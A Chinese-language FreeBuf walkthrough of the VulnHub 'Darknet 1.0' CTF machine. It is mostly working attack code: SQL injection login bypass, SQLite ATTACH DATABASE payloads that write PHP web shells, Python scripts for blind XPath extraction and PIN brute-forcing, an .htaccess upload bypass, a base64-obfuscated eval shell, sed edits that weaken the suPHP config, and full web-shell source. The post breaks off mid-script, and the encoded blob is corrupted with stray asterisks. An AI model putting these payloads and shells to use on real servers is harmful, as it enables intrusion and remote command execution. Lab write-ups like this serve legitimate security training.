freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CTF靶场系列-Darknet: 1.0
2019-11-15 17:58:55
所属地 广东省

下载地址

注:只能使用vmbox打开,新增一张网卡修改为桥接模式

https://download.vulnhub.com/darknet/Darknet.rar

实战演练

查找靶机IP

image.png

扫描靶机开放了那些端口

image.png

首先,我们先看看80端口,浏览器打开,页面没有什么东西

image.png查看页面源代码,没有发现什么有用的信息

image.png爆破一下web目录,找到了access目录

image.pngimage.png下载下来,发现是一个apache的配置文件,里面配置了虚拟主机

image.png添加这个域名解析

image.png在浏览器输入这个域名就会发现进入到另外一个网站

image.png随便输入一个用户名和密码,回显Fail

image.png输入单引号,回显一串MD5

image.png用sqlmap进行测试一下,可惜失败了

image.png手动测试发现,用户名输入框输入'"1,就会报错

image.png推测sql可能是这样

SELECT * FROM users WHERE user='<INJECT>' and pass='<MD5 OF PASS>'

现在我们要绕过去就必须符合这样的sql构造

SELECT * FROM users WHERE user='a user' or '1' and pass='<MD5 OF PASS>'

现在我们就需要找一个数据库存在的用户,不然就会提示错误,还记得我们之前的apache的配置文件吗,里面有一个邮箱名,我们就用这个用户名试试

image.png进入到一个sql页面

image.png现在我用利用这个sql执行写shell进去,第一,我要找到可写目录,第二,我要知道根目录,所以现在需要爆破目录

根目录的问题在apache的配置文件已经有了/home/devnull/public_html/,一般可写的目录是img目录

image.png所以sql的构造语句是(注:有可能写不进去,这时候你就需要重新删除虚拟机,再新开,可能是sqlmap跑到虚拟机残废了)

ATTACH DATABASE '/home/devnull/public_html/img/phpinfo.php' as pwn;
CREATE TABLE pwn.shell (code TEXT);
INSERT INTO pwn.shell (code) VALUES ('<?php phpinfo(); ?>');

image.png通过phpinfo,我们可以发现禁止的函数

再构造语句查询系统信息

ATTACH DATABASE '/home/devnull/public_html/img/files.php' as pwn;
CREATE TABLE pwn.shell (code TEXT);
INSERT INTO pwn.shell (code) VALUES ("<?php if($_GET['a'] == 'ls') { print_r(scandir($_GET['p'])); } if($_GET['a'] == 'cat') { print_r(readfile($_GET['p'])); } ?>");

我们找到了另外一个域名配置文件

image.png查看配置文件

image.png接着我们在/etc/hosts添加这条域名记录,在浏览器打开

image.png看到一个网址http://signal8.darknet.com/contact.php?id=1,输入单引号会显示不同页面,可能存在SQL注入,不过测试发现没有注入

image.png

爆破一下目录,找到了rebots.txt

image.png找到了一个路径

image.pngimage.png上面的输入框没有注入,回到原点,我们试试fuzz id参数,字典来源于/usr/share/wordlists/wfuzz/Injections/All_attack.txt

image.png测试发现,这个参数可能存在xpath注入

image.pngexp

import requests
import string
import sys

entry_point = 'http://signal8.darknet.com/contact.php'

payloads = {
    # . == current node and .. == parent node
    'CurrentNode': '1 and starts-with(name(.),"{exfil}")=1',
    'ParentNode': '1 and starts-with(name(..),"{exfil}")=1',
}


def w(t):
    sys.stdout.write(t)
    sys.stdout.flush()


for payload_type, payload in payloads.iteritems():

    w("\n{}: ".format(payload_type))

    stop = False
    exfil = ''
    while not stop:

        stop = True

        for char in string.printable:
            r = requests.get(
                entry_point, params={
                    'id': payload.format(exfil=(exfil + char))
                })
            if 'darknet.com' in r.text:
                exfil += char
                w(char)
                stop = False

print "\nDone"

执行脚本,定XML具有以下结构//auth/user

image.png

确定后,我发现了一个名为“用户名”的新元素,但找不到名为“密码”的元素。再次查看登录表单后,我发现输入字段上的提示是西班牙语。使用字典进行爆破,我发现密码字段被命名为“ clave”。

import requests
import string
import sys

entry_point = 'http://signal8.darknet.com/contact.php'

payload = '1 and starts-with(name(//auth/user[id=1]/{word}),"{word}")=1'
with open('/usr/share/wfuzz/wordlist/general/spanish.txt') as f:
    for word in f.readlines():
        word = word.strip()
        r = requests.get(entry_point, params={'id': payload.format(word=word)})
        if 'darknet.com' in r.text:
            print 'Found attribute: {word}'.format(word=word)





root@kali:/tmp# python 2.py 
Found attribute: clave
Found attribute: id

下面获取用户名和密码,我们找到用户名和密码组合为errorleveltc65Igkq6DF

root@kali:/tmp# cat 1.py 
import requests
import string
import sys

entry_point = 'http://signal8.darknet.com/contact.php'

payloads = {
'username': '1 and starts-with((//auth/user[id=1]/username),"{exfil}")=1',
'password': '1 and starts-with((//auth/user[id=1]/clave),"{exfil}")=1',
        }


def w(t):
    sys.stdout.write(t)
    sys.stdout.flush()


for payload_type, payload in payloads.iteritems():

    w("\n{}: ".format(payload_type))

    stop = False
    exfil = ''
    while not stop:

        stop = True

        for char in string.printable:
            r = requests.get(
                entry_point, params={
                    'id': payload.format(exfil=(exfil + char))
                })
            if 'darknet.com' in r.text:
                exfil += char
                w(char)
                stop = False

print "\nDone"




root@kali:/tmp# python 1.py 

username: errorlevel
password: tc65Igkq6DF
Done

登录进去之后,有个ediit的页面超链接,过去之后是404

image.png回去查看源代码,发现一个页面

image.png浏览到ploy.php,我遇到了文件上传和一系列复选框打勾的情况。

image.pngimage.png当你勾选4个密码长度的时候,才可以上传

image.pngexp

import requests
import itertools
import sys

VALUES = [37, 12, 59, 58, 72, 17, 22, 10, 99]
PIN = None

s = requests.Session()


def w(text):
    sys.stdout.write('\r' + text)
    sys.stdout.flush()


# Need a valid session before we can continue.
print('[+] Logging in')
s.post('http://signal8.darknet.com/xpanel/index.php', data={
    'username': 'errorlevel',
    'password': 'tc65Igkq6DF',
})

print('[+] Bruting PIN Code ...')
for c in itertools.permutations(VALUES, 4):
    w("{pin}".format(pin=', '.join(map(str, c))))
    r = s.post('http://signal8.darknet.com/xpanel/ploy.php',
               files={'imag': open('test_image.png', 'rb')},
               data={
                   'checkbox[]': c,
                   'Action': 'Upload',
               })

    if 'incorrecta' not in r.text:
        print('\n[+] Found pin: {pin}'.format(pin=', '.join(map(str, c))))
        break

root@kali:/tmp# python 3.py 
[+] Logging in
[+] Bruting PIN Code ...
37, 10, 59, 17
[+] Found pin: 37, 10, 59, 17

所以密码是37, 10, 59, 17

下一步显然是尝试弄清楚我们如何能够利用此文件上载(如果有的话)。文件上传似乎接受大多数以.php结尾的上传。上载PHP脚本将返回错误Formato invalido!像图片(或几乎所有没有用的东西)之类的东西响应了Subida exitosa!

我爆破出了一个uploads/目录,最终,我遇到了一些涉及.htaccess文件的PHP文件上传绕过技术。前提是,如果可以写入/覆盖文件夹.htaccess,则可以在文件夹中webshell。唯一真正的要求是VirtualHost配置必须允许.htaccess读取文件。由于我已经下载了signal8.darknet.com的配置文件,因此我很快就能看到将AllowOverride其设置为All

#.htaccess


# <!--  Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
# Uncomment the line below for Apache2.4 and newer
# Require all granted
    Order allow,deny
    Allow from all
</Files>

# Make .htaccess file be interpreted as php file. This occur after apache has interpreted 
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess

###### SHELL ###### <?php echo "--><form method='get'><input type='text' name='c' value='".$_GET['c']."'><input type='submit' name='go' value='Go!'></form>\n<pre>";passthru($_GET['c']." 2>&1");echo "</pre>"; ?>

exp

import requests
import sys
import os.path as path

s = requests.Session()


def w(text):
    sys.stdout.write('\r' + text)
    sys.stdout.flush()


print('[+] Logging in ...')
s.post('http://signal8.darknet.com/xpanel/index.php', data={
    'username': 'errorlevel',
    'password': 'tc65Igkq6DF',
})

print('[+] Uploading : {file}'.format(file=sys.argv[1]))
r = s.post('http://signal8.darknet.com/xpanel/ploy.php',
           files={'imag': open(sys.argv[1], 'rb')},
           data={
               'checkbox[]': [37, 10, 59, 17],
               'Action': 'Upload',
           })

if 'Subida exitosa' in r.text:
    print('[+] Upload successful! Try: http://signal8.darknet'
          '.com/xpanel/uploads/{file}'.format(file=path.basename(sys.argv[1])))
elif 'Formato invalido' in r.text:
    print('[!] Upload failed. Invalid format.')
else:
    print('[!] Upload failed, unknown error.')




root@kali:/tmp# python 4.py .htaccess 
[+] Logging in ...
[+] Uploading : .htaccess
[+] Upload successful! Try: http://signal8.darknet.com/xpanel/uploads/.htaccess

由于执行函数被禁止了,所以执行不了

image.png换另外一个思路,base64

# <!--  Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
# Uncomment the line below for Apache2.4 and newer
# Require all granted
    Order allow,deny
    Allow from all
</Files>

# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess

###### SHELL ###### --><?php eval(base64_decode("QCRhY3Rpb24gPSAkX1JFUVVFU1RbJ2FjdGlvbiddO0AkcGF0aCA9ICRfUkVRVUVTVFsncGF0aCddO2Z1bmN0aW9uIGZpbGVfcnd4KCRmaWxlKXsgJHBlcm1zID0gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmaWxlKSksIC00KTsgJHJ3eCA9IFsnLS0tJywgJy0teCcsICctdy0nLCAnLXd4JywgJ3ItLScsICdyLXgnLCAncnctJywgJ3J3eCddOyAkdHlwZSA9IGlzX2RpcigkZmlsZSkgPyAnZCcgOiAnLSc7ICRvd25lciA9ICRwZXJtc1sxXTsgJGdyb3VwID0gJHBlcm1zWzJdOyAkcHVibGljID0gJHBlcm1zWzNdOyByZXR1cm4gJHR5cGUgLiAkcnd4WyRvd25lcl0gLiAkcnd4WyRnc**1cF0gLiAkcnd4WyRwdWJsaWNdI**gJyAnI**gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRmaWxlKSlbJ25hbWUnXTt9ZnVuY3Rpb24gbWVudSgpeyBwcmludCAnPHByZT4nI**gZ2V0X2N1cnJlbnRfdXNlcigpI**gJyBAICcgLiBwaHBfdW5hbWUoKSAuIFBIUF9FT0wgLiAnKG1lbnUpIDxhIGhyZWY9JyAuICRfU0VSVkVSWydQSFBfU0VMRiddI**gJz9hY3Rpb249bHMmcGF0aD0vPmxzPC9hPiB8JyAuICcgPGEgaHJlZj0nI**gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnP2FjdGlvbj1jYXQmcGF0aD0vZXRjL3Bhc3N3ZD5jYXQ8L2E+IHwnI**gJyA8YSBocmVmPScgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/YWN0aW9uPXVwbG9hZD51cGxvYWQ8L2E+IHwnI**gJyA8YSBocmVmPScgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/YWN0aW9uPXBocGluZm8+cGhwaW5mbzwvYT4gfCcgLiAnIDxhIGhyZWY9JyAuICRfU0VSVkVSWydQSFBfU0VMRiddI**gJz9hY3Rpb249aW5mbz5pbmZvPC9hPiB8JyAuICcgPGEgaHJlZj0nI**gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnP2FjdGlvbj1ldmFsJnNyYz1wcmludCtwaHBfdW5hbWUlMjglMjklM0I+ZXZhbDwvYT4gfCcgLiAnIDxhIGhyZWY9JyAuICRfU0VSVkVSWydQSFBfU0VMRiddI**gJz9hY3Rpb249ZXhlYyZjbWQ9aWQ+ZXhlYzwvYT4nI**gJzwvcHJlPic7fXN3aXRjaCAoJGFjdGlvbikgeyBjYXNlICdscyc6ICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsgJGZpbGVzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRwYXRoKSwgWycuJywgJy4uJ10pOyBtZW51KCk7IGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgeyAkbG9jYXRpb24gPSAkcGF0aCAuICRmaWxlOyBpZiAoaXNfZGlyKCRsb2NhdGlvbikpIHsgJHVybF9hY3Rpb24gPSAnbHMnOyAkbG9jYXRpb24gPSBydHJpbSgkbG9jYXRpb24sICcvJykgLiAnLyc7IH0gZWxzZSB7ICR1cmxfYWN0aW9uID0gJ2NhdCc7IH0gJHdyaXRhYmxlID0gaXNfd3JpdGFibGUoJGxvY2F0aW9uKSA/ICdncmVlbicgOiAncmVkJzsgJHJlYWRhYmxlID0gaXNfcmVhZGFibGUoJGxvY2F0aW9uKSA/ICdncmVlbicgOiAncmVkJzsgaWYgKCRyZWFkYWJsZSA9PSAnZ3JlZW4nIGFuZCAhaXNfZGlyKCRsb2NhdGlvbikpICRkb3dubG9hZCA9ICc8YSBocmVmPScgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/YWN0aW9uPWRvd25sb2FkJnBhdGg9JyAuIHVybGVuY29kZSgkbG9jYXRpb24pI**gJz5Eb3dubG9hZDwvYT48L3NwYW4+JzsgZWxzZSAkZG93bmxvYWQgPSAnRG93bmxvYWQnOyBwcmludCAnPHByZT4nOyBwcmludCAnPHNwYW4gc3R5bGU9XCdjb2xvcjonI**gJHdyaXRhYmxlI**gJ1wnPldyaXRlPC9zcGFuPiAnI**gJzxzcGFuIHN0eWxlPVwnY29sb3I6JyAuICRyZWFkYWJsZSAuICdcJz5SZWFkPC9zcGFuPiB8ICcgLiAkZG93bmxvYWQgLiAnIHwgJyAuIGZpbGVfcnd4KCRsb2NhdGlvbikgLiAnIHwgJyAuIGRhdGUoJ00gZCBZIEg6aTpzJywgZmlsZWN0aW1lKCRsb2NhdGlvbikpI**gJyA8YSBocmVmPScgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/YWN0aW9uPScgLiAkdXJsX2FjdGlvbiAuICcmcGF0aD0nI**gdXJsZW5jb2RlKCRsb2NhdGlvbikgLiAnPicgLiAkbG9jYXRpb24gLiAnPC9hPic7IHByaW50ICc8L3ByZT4nOyB9IHJldHVybjsgY2FzZSAnY2F0JzogJGZpbGUgPSBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7IG1lbnUoKTsgcHJpbnQgJzxwcmU+JyAuICRmaWxlI**gJzwvcHJlPic7IHJldHVybjsgY2FzZSAndXBsb2FkJzogQCRmaWxlID0gJF9GSUxFU1snZmlsZSddOyAkbWVzc2FnZSA9IG51bGw7IGlmICgkZmlsZSkgeyBtb3ZlX3VwbG9hZGVkX2ZpbGUoJGZpbGVbJ3RtcF9uYW1lJ10sICRwYXRoKTsgJG1lc3NhZ2UgPSAnVXBsb2FkZWQgZmlsZSB0bzogPGEgaHJlZj0nI**gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnP2FjdGlvbj0nI**gJ2NhdCZwYXRoPScgLiB1cmxlbmNvZGUoJHBhdGgpI**gJz4nI**gJHBhdGggLiAnPC9hPic7IH0gbWVudSgpOyBwcmludCAnPGZvcm0gYWN0aW9uPSInI**gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnP2FjdGlvbj11cGxvYWQiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+ICcgLiAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiPicgLiAnRnVsbCBEZXN0aW5hdGlvbiBQYXRoICYgRmlsZTogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhdGgiPicgLiAnPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7IHByaW50ICRtZXNzYWdlOyByZXR1cm47IGNhc2UgJ2Rvd25sb2FkJzogaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOyBoZWFkZXIoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IEJpbmFyeScpOyBoZWFkZXIoJ0NvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSInI**gYmFzZW5hbWUoJHBhdGgpI**gJyInKTsgZWNobyByZWFkZmlsZSgkcGF0aCk7IHJldHVybjsgY2FzZSAncGhwaW5mbyc6IG1lbnUoKTsgcGhwaW5mbygpOyByZXR1cm47IGNhc2UgJ2luZm8nOiBtZW51KCk7IHByaW50ICc8cHJlPic7IHByaW50ICdFbnZpc**ubWVudCcgLiBQSFBfRU9MOyBwcmludCAnQ3VycmVudCBVc2VyOiAnI**gZ2V0X2N1cnJlbnRfdXNlcigpI**gUEhQX0VPTDsgcHJpbnQgJ1BIUCBWZXJzaW9uOiAnI**gcGhwdmVyc2lvbigpI**gUEhQX0VPTDsgcHJpbnQgJ0xvYWRlZCBDb25maWc6ICcgLiBwaHBfaW5pX2xvYWRlZF9maWxlKCkgLiBQSFBfRU9MOyBwcmludCAnUEhQIFNBUEk6ICcgLiBwaHBfc2FwaV9uYW1lKCkgLiBQSFBfRU9MOyBwcmludCAnVW5hbWU6ICcgLiBwaHBfdW5hbWUoKSAuIFBIUF9FT0w7IHByaW50ICcnI**gUEhQX0VPTDsgcHJpbnQgJ0NvbmZpZ3VyYXRpb24nI**gUEhQX0VPTDsgcHJpbnQgJ09wZW4gQmFzZWRpcjogJyAuIGluaV9nZXQoJ29wZW5fYmFzZWRpcicpI**gUEhQX0VPTDsgcHJpbnQgJ0Rpc2FibGUgQ2xhc3NlczogJyAuIGluaV9nZXQoJ2Rpc2FibGVfY2xhc3NlcycpI**gUEhQX0VPTDsgcHJpbnQgJ0Rpc2FibGUgRnVuY3Rpb25zOiAnI**gaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSAuIFBIUF9FT0w7IHByaW50ICdVUkwgZ**wZW46ICcgLiBpbmlfZ2V0KCdhbGxvd191cmxfZ**wZW4nKSAuIFBIUF9FT0w7IHByaW50ICdVUkwgSW5jbHVkZTogJyAuIGluaV9nZXQoJ2FsbG93X3VybF9pbmNsdWRlJykgLiBQSFBfRU9MOyBwcmludCAnRmlsZSBVcGxvYWRzOiAnI**gaW5pX2dldCgnZmlsZV91cGxvYWRzJykgLiBQSFBfRU9MOyBwcmludCAnPC9wcmU+JzsgcmV0dXJuOyBjYXNlICdldmFsJzogQCRzcmMgPSAkX1JFUVVFU1RbJ3NyYyddOyBtZW51KCk7IHByaW50ICc8Z**ybSBhY3Rpb249IicgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/YWN0aW9uPWV2YWwiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+ICcgLiAnUEhQIENvZGU6IDxicj48dGV4dGFyZWEgbmFtZT0ic3JjIiByb3dzPSIxMCIgY29scz0iNzAiPicgLiAkc3JjI**gJzwvdGV4dGFyZWE+PGJyPicgLiAnPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkV2YWx1YXRlIFBIUCI+PC9mb3JtPic7IGlmICghZW1wdHkoJHNyYykpIHsgcHJpbnQgJzxwcmU+RXZhbCBPdXRwdXQ6PGJyPic7IGV2YWwoJHNyYyk7IHByaW50ICc8L3ByZT4nOyB9IHJldHVybjsgY2FzZSAnZXhlYyc6IEAkY21kID0gJF9SRVFVRVNUWydjbWQnXTsgbWVudSgpOyBwcmludCAnPGZvcm0gYWN0aW9uPSInI**gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnP2FjdGlvbj1leGVjIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPiAnI**gJ1N5c3RlbSBDb21tYW5kOiA8YnI+PHRleHRhcmVhIG5hbWU9ImNtZCIgc**3cz0iMTAiIGNvbHM9IjcwIj4nI**gJGNtZCAuICc8L3RleHRhcmVhPjxicj4nI**gJzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJSdW4iPjwvZ**ybT4nOyBpZiAoIWVtcHR5KCRjbWQpKSB7IHByaW50ICc8cHJlPkNvbW1hbmQgT3V0cHV0Ojxicj4nOyBpZiAoY2xhc3NfZXhpc3RzKCdSZWZsZWN0aW9uRnVuY3Rpb24nKSkgeyAkZnVuY3Rpb24gPSBuZXcgUmVmbGVjdGlvbkZ1bmN0aW9uKCdzeXN0ZW0nKTsgJGZ1bmN0aW9uLT5pbnZva2UoJGNtZCk7IH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ2NhbGxfdXNlcl9mdW5jX2FycmF5JykpIHsgY2FsbF91c2VyX2Z1bmNfYXJyYXkoJ3N5c3RlbScsIFskY21kXSk7IH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ2NhbGxfdXNlcl9mdW5jJykpIHsgY2FsbF91c2VyX2Z1bmMoJ3N5c3RlbScsICRjbWQpOyB9IGVsc2UgeyBzeXN0ZW0oJGNtZCk7IH0gcHJpbnQgJzwvcHJlPic7IH0gcmV0dXJuOyBkZWZhdWx0OiBtZW51KCk7IHJldHVybjt9"));

image.png

最终,我发现使用suPHP作为已加载的模块。这基本上意味着PHP脚本将以文件所有者的身份运行。因此,以该理论为前提,理智地假定由于errorlevel在用户主目录中拥有PHP文件,因此我也被视为该用户。

无论如何,稍后再进行一些枚举,我在中发现了更多PHP脚本/var/www。这些文件归拥有root,意味着如果有任何漏洞,我可以有效地扎根!

image.png由于它们位于中/var/www,因此我可以浏览到VM的IP地址并运行这些脚本。调用sec.php脚本导致服务器返回HTTP 500错误。

image.png

#sec.php
<?php

require "Classes/Test.php";
require "Classes/Show.php";

if(!empty($_POST['test'])){
    $d=$_POST['test'];
    $j=unserialize($d);
    echo $j;
}
?>

#Test.php
<?php

class Test {

    public $url;
    public $name_file;
    public $path;

    function __destruct(){
        $data=file_get_contents($this->url);
        $f=fopen($this->path."/".$this->name_file, "w");
        fwrite($f, $data);
        fclose($f);
        chmod($this->path."/".$this->name_file, 0644);
}
}

?>



#show.php

<?php

class Show {

    public $woot;

    function __toString(){
        return "Showme";        

}
    function Pwnme(){
        $this->woot="ROOT";

}

}

?>

一个PHP对象注入的教科书示例!我继续Show通过将类复制到新的PHP文件,实例化Show该类并serialize()在其上运行该函数,输出输出来序列化该类的实例。

// Source code for poishow.php
<?php

class Show {

    public $woot;

    function __toString(){
        return "Showme";

}
    function Pwnme(){
        $this->woot="ROOT";

}

}

print_r(serialize(new Show()));


root@kali:/tmp# php show.php 
// Source code for poishow.php
O:4:"Show":1:{s:4:"woot";N;}

我现在可以使用一些东西来尝试测试该漏洞。对于Show该类,我们将利用__toString()sec.php调用echo包含未序列化对象的变量时定义的方法。我编写了另一个python帮助程序,以将序列化的对象sec.php作为POST参数发送.

import requests

OBJECT = """O:4:"Show":1:{s:4:"woot";N;}"""

print('[+] Exploiting the PHP Object Injection Bug')
r = requests.post('http://192.168.0.100/sec.php', data={'test': OBJECT})
print(r.status_code)
print(r.text)

运行此命令会使服务器仍然响应HTTP 500错误。

image.png嗯 我在这里停留了相当长的时间,试图弄清楚是否可以在某些地方读取某种形式的日志。在某个阶段,我偶然/etc/suphp发现它的配置文件是可写的。


root@kali:~/Downloads# cat suphp.conf 
# <!--  Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
# Uncomment the line below for Apache2.4 and newer
# Require all granted
    Order allow,deny
    Allow from all
</Files>

# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess

###### SHELL ###### -->[global]
;Path to logfile
logfile=/var/log/suphp/suphp.log

;Loglevel
loglevel=info

;User Apache is running as
webserver_user=www-data

;Path all scripts have to be in
docroot=/var/www:${HOME}/public_html

;Path to chroot() to before executing script
;chroot=/mychroot

; Security options
allow_file_group_writeable=false
allow_file_others_writeable=false
allow_directory_group_writeable=false
allow_directory_others_writeable=false

;Check wheter script is within DOCUMENT_ROOT
check_vhost_docroot=true

;Send minor error messages to browser
errors_to_browser=false

;PATH environment variable
env_path="/bin:/usr/bin"

;Umask to set, specify in octal notation
umask=0077

; Minimum UID
min_uid=100

; Minimum GID
min_gid=100


[handlers]
;Handler for php-scripts
application/x-httpd-suphp="php:/usr/bin/php-cgi"

;Handler for CGI-scripts
x-suphp-cgi="execute:!self"


我意识到配置文件中还有两个有趣的配置选项。

; Minimum UID
min_uid=100

; Minimum GID
min_gid=100

还记得我们尝试访问的PHP脚本归谁所有root吗?事实证明,这是suPHP的一项安全功能,可以防止具有较高权限的脚本无法运行。因此,我再次修改配置文件以将其替换为值,0并上传它以覆盖原始文件。

image.png走到这里,sec.php还是显示500,于是我重新删除虚拟机,用另外一种方法进去,回到888域名重新写shell

ATTACH DATABASE '/home/devnull/public_html/img/shell.php' as pwn;
CREATE TABLE pwn.shell (code TEXT);
INSERT INTO pwn.shell (code) values ("<?php error_reporting(E_ALL); ini_set('display_errors',1); ini_set('disable_functions',0); echo(shell_exec($_GET['c']));?>");

image.png

但是请注意我们现在如何获得错误消息!

在网上进行了一些进一步的研究后,我发现了一个提示,即可以将新的php.ini文件放入php文件加载目录(在这种情况下,是/ home / devnull / public_html / img /)。 。
因此,我尝试在此处放置一个空的php.ini:

ATTACH DATABASE '/home/devnull/public_html/img/php.ini' as pwn;
CREATE TABLE pwn.shell (code TEXT);
INSERT INTO pwn.shell (code) values ("");

image.png用shell运行这四步

cp /etc/suphp/suphp.conf /tmp
cp /tmp/suphp.conf /tmp/suphp.conf_bak
sed -i -e 's/min_uid=100/min_uid=0/g' /tmp/suphp.conf
sed -i -e 's/min_gid=100/min_gid=0/g' /tmp/suphp.conf
cp /tmp/suphp.conf /etc/suphp/suphp.conf

image.png最后sec.php显示空白

image.png使用脚本也成功

image.png现在我们开始构造payload

#shell.txt
<?php

@$action = $_REQUEST['action'];
@$path = $_REQUEST['path'];

function file_rwx($file)
{

    $perms = substr(sprintf('%o', fileperms($file)), -4);
    $rwx = ['---', '--x', '-w-', '-wx', 'r--', 'r-x', 'rw-', 'rwx'];
    $type = is_dir($file) ? 'd' : '-';
    $owner = $perms[1];
    $group = $perms[2];
    $public = $perms[3];

    return $type . $rwx[$owner] . $rwx[$group] . $rwx[$public] . ' ' .
    posix_getpwuid(fileowner($file))['name'];
}

function menu()
{

    print '<pre>' . get_current_user() . ' @ ' . php_uname() . PHP_EOL .
        '(menu) <a href=' . $_SERVER['PHP_SELF'] . '?action=ls&path=/>ls</a> |' .
        ' <a href=' . $_SERVER['PHP_SELF'] . '?action=cat&path=/etc/passwd>cat</a> |' .
        ' <a href=' . $_SERVER['PHP_SELF'] . '?action=upload>upload</a> |' .
        ' <a href=' . $_SERVER['PHP_SELF'] . '?action=phpinfo>phpinfo</a> |' .
        ' <a href=' . $_SERVER['PHP_SELF'] . '?action=info>info</a> |' .
        ' <a href=' . $_SERVER['PHP_SELF'] . '?action=eval&src=print+php_uname%28%29%3B>eval</a> |' .
        ' <a href=' . $_SERVER['PHP_SELF'] . '?action=exec&cmd=id>exec</a>' .
        '</pre>';

}

switch ($action) {

    case 'ls':
        $path = $_GET['path'];
        $files = array_diff(scandir($path), ['.', '..']);

        menu();

        foreach ($files as $file) {

            $location = $path . $file;
            if (is_dir($location)) {
                $url_action = 'ls';
                $location = rtrim($location, '/') . '/';
            } else {
                $url_action = 'cat';
            }

            $writable = is_writable($location) ? 'green' : 'red';
            $readable = is_readable($location) ? 'green' : 'red';

            if ($readable == 'green' and !is_dir($location))
                $download = '<a href=' . $_SERVER['PHP_SELF'] .
                    '?action=download&path=' . urlencode($location) .
                    '>Download</a></span>';
            else
                $download = 'Download';

            print '<pre>';

            print '<span style=\'color:' . $writable . '\'>Write</span> ' .
                '<span style=\'color:' . $readable . '\'>Read</span> | ' .
                $download . ' | ' .
                file_rwx($location) . ' | ' . date('M d Y H:i:s', filectime($location)) .
                ' <a href=' . $_SERVER['PHP_SELF'] . '?action=' .
                $url_action . '&path=' . urlencode($location) . '>' . $location .
                '</a>';

            print '</pre>';
        }

        return;

    case 'cat':
        $file = file_get_contents($path);

        menu();

        print '<pre>' . $file . '</pre>';

        return;

    case 'upload':
        @$file = $_FILES['file'];
        $message = null;

        if ($file) {
            move_uploaded_file($file['tmp_name'], $path);
            $message = 'Uploaded file to: <a href=' . $_SERVER['PHP_SELF'] . '?action=' .
                'cat&path=' . urlencode($path) . '>' . $path . '</a>';
        }

        menu();

        print '<form action="' . $_SERVER['PHP_SELF'] .
            '?action=upload" method="post" enctype="multipart/form-data"> ' .
            '<input type="file" name="file">' .
            'Full Destination Path & File: <input type="text" name="path">' .
            '<input type="submit" value="Upload"></form>';
        print $message;

        return;

    case 'download':
        header('Content-Type: application/octet-stream');
        header('Content-Transfer-Encoding: Binary');
        header('Content-disposition: attachment; filename="' . basename($path) . '"');
        echo readfile($path);

        return;

    case 'phpinfo':
        menu();

        phpinfo();

        return;

    case 'info':
        menu();

        print '<pre>';
        print 'Environment' . PHP_EOL;
        print 'Current User:    ' . get_current_user() . PHP_EOL;
        print 'PHP Version:     ' . phpversion() . PHP_EOL;
        print 'Loaded Config:   ' . php_ini_loaded_file() . PHP_EOL;
        print 'PHP SAPI:        ' . php_sapi_name() . PHP_EOL;
        print 'Uname:           ' . php_uname() . PHP_EOL;
        print '' . PHP_EOL;
        print 'Configuration' . PHP_EOL;
        print 'Open Basedir:        ' . ini_get('open_basedir') . PHP_EOL;
        print 'Disable Classes:     ' . ini_get('disable_classes') . PHP_EOL;
        print 'Disable Functions:   ' . ini_get('disable_functions') . PHP_EOL;
        print 'URL fopen:           ' . ini_get('allow_url_fopen') . PHP_EOL;
        print 'URL Include:         ' . ini_get('allow_url_include') . PHP_EOL;
        print 'File Uploads:        ' . ini_get('file_uploads') . PHP_EOL;
        print '</pre>';

        return;

    case 'eval':
